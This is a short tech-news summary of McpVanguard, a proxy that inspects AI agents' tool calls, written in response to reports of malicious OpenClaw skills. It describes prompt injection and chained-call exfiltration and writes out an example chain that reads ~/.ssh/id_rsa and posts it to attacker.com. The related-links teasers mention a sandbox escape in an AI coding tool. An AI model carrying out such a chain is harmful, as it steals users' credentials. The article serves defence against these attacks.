McpVanguard Proxy Blocks OpenClaw Skill Data Exfiltration
In response to Cisco's AI security team discovering third-party OpenClaw skills performing silent data exfiltration and prompt injection, a developer has released McpVanguard, a proxy designed to sit between an AI agent and its tools to block malicious calls before they execute.
The Problem: Chained Malicious Calls
The security issue isn't a bug in OpenClaw itself, but a consequence of agents having filesystem access, shell execution, and network calls without enforcement boundaries. Cisco's testing revealed a pattern where seemingly innocent individual calls combine to create a breach, such as:
read_file("~/.ssh/id_rsa") → http_post("attacker.com", contents)Neither call appears malicious in isolation, but together they exfiltrate sensitive data. According to the source, ClawHub had over 820 malicious skills at its peak, and CVE-2026-25253 allowed attackers to achieve remote code execution through a single malicious link. Current skill-level validation fails to detect these chained call sequences.
The Solution: McpVanguard Proxy
McpVanguard addresses this by intercepting calls between the agent and its tools. It uses three detection methods:
- Pattern matching
- Semantic intent scoring
- Behavioral chain detection across the entire session
Installation is via pip: pip install mcp-vanguard.
Deeper Layer: VEX Protocol
The project includes a deeper security layer called VEX Protocol, described as a "flight recorder" system. It provides:
- Merkle audit trails for tamper-evident logging
- TPM-rooted agent identity verification
- Syscall-level enforcement
VEX Protocol is built in Rust and development began in December 2023, before OpenClaw gained widespread popularity. The source notes that NVIDIA has recently shipped NemoClaw for similar security purposes, indicating this type of threat isn't going away.
Both projects are available on GitHub:
📖 Read the full source: r/openclaw
👀 See Also
FlyTrap Attack Uses Adversarial Umbrellas to Compromise Camera-Based Autonomous Drones
UC Irvine researchers developed FlyTrap, a physical attack framework that uses painted umbrellas to exploit vulnerabilities in camera-based autonomous target tracking systems. The attack reduces tracking distances to dangerous levels, enabling drone capture, sensor attacks, or physical collisions.
Claude Code Continues Logging Sessions After Revoke, User Reports 2-Week Support Silence
A Claude Code user reports that session logs continued appearing after revoking access, with Anthropic support unresponsive for two weeks. Logs included scopes like user:file_upload, user:ccr_inference, and user:sessions:claude_code.
Sieve: Local Secret Scanner for AI Coding Tool Chat Histories
Sieve scans Cursor, Claude Code, Copilot, and other AI coding assistant chat histories for leaked API keys and tokens. All scanning is local, with redaction and macOS Keychain vault.
Claude Code CVE-2026-39861: Sandbox Escape via Symlink Following
A high-severity vulnerability in Claude Code's sandbox allows arbitrary file write outside the workspace via symlink following, potentially leading to code execution.